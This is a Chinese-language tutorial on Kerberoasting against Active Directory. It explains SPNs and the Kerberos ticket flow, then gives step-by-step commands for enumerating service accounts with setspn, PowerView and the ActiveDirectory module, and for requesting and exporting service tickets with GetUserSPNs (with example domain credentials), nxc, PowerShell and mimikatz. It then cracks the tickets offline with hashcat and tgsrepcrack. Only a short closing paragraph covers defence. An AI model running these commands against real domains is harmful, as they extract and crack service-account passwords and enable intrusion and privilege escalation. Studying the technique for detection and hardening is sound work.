SPN全称 Service Principal Names
SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN
SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下
当一个服务的权限为Local System
或Network Service
,则SPN注册在机器帐户(Computers)下
当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下
serviceclass/host:port/servicename
serviceclass可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等
host有两种形式,FQDN和NetBIOS名,例如server01.test.com和server01
如果服务运行在默认端口上,则端口号(port)可以省略
对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测
常用查询命令
#查看当前域内的所有SPN:
setspn.exe -q */*
#查看test域内的所有SPN:
setspn.exe -T test -q */*
核心原理:获取代表 AD 中的用户帐户(而不是计算机帐户)运行的服务的 TGS 票证
当域内某个用户去请求同域内的某个服务资源时,请求会首先被送达 KDC 的 AS 中进行身份认证,认证通过后 AS 会返回一个用用户密码 hash 加密的 TGT 给用户,然后用户再拿着这个 TGT 向 KDC中的TGS 去请求,TGS 会返回一个用对应服务账号的密码 hash加密过( RC4_HMAC_MD5 )的专门用于访问特定服务的服务票据回来,最后用户只需拿这张服务票据去访问对应的服务资源即可
首先获取到一个TGS票证,TGS票证中包含了一个加密的会话密钥,加密算法一般是已知的(一般是RC4_HMAC)
而这个加密的会话密钥是用目标服务的密码哈希作为密钥进行加密的,我们利用这个已知的加密算法和ST中加密的会话密钥可以得到目标服务的密码哈希 然后利用 hashcat 爆破出目标服务的明文密码
这里的TGS票证就是ST(服务票据的)一种
它们在本质上都是用户访问服务时所需要的凭证。TGS 是向 KDC 请求 ST 的手段
该spn需要满足的条件
查询SPN的前提条件:需要一个域内用户凭据
方法1 使用powershell模块Active Directory
import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon
powershell模块Active Directory 需要提前安装,域控制器一般会安装
方法2 使用 PowerView
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
方法3 使用 GetUserSPNs
此方法 会一并完成 请求TGS 导出TGS
GetUsersSPNs.exe -dc-ip 192.168.52.138 god.org/liu:123.com
# 请求注册于用户下的所有SPN的ST,并以hashcat能破解的格式保存在hash.txt
GetUsersSPNs.exe -request -dc-ip 192.168.52.138 god.org/liu:123.com -outputfile hash.txt
# # 请求注册于指定用户下的SPN的ST,并以hashcat能破解的格式保存在hash.txt
GetUsersSPNs.exe -request -dc-ip 192.168.52.138 god.org/liu:123.com -outputfile hash.txt -request-user administrator
方法4 使用 nxc
此方法 会一并完成 请求TGS 导出TGS
#会一并完成 请求TGS 导出TGS
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt
请求指定TGS
$SPNName = 'MSSQLSvc/DC1.test.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
请求所有TGS
Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
执行后输入klist
查看内存中的票据,可找到获得的TGS
使用 mimikatz
kerberos::list /export
#适用于用nxc 和GETUserSPNS得到的hash
hashcat -m13100 output.txt wordlist.txt
#适用于mimikatz导出的hash
./tgsrepcrack.py wordlist.txt test.kirbi
站在防御的角度,不可能阻止kerberoast,但可以对有攻击价值的SPN(注册在域用户帐户下,权限高),增加密码长度,能够提高破解难度,并且定期修改关联的域用户口令
管理员可在域内一台主机上使用Invoke-Kerberoast
检查是否存在危险的SPN
下载地址:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
参数:
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon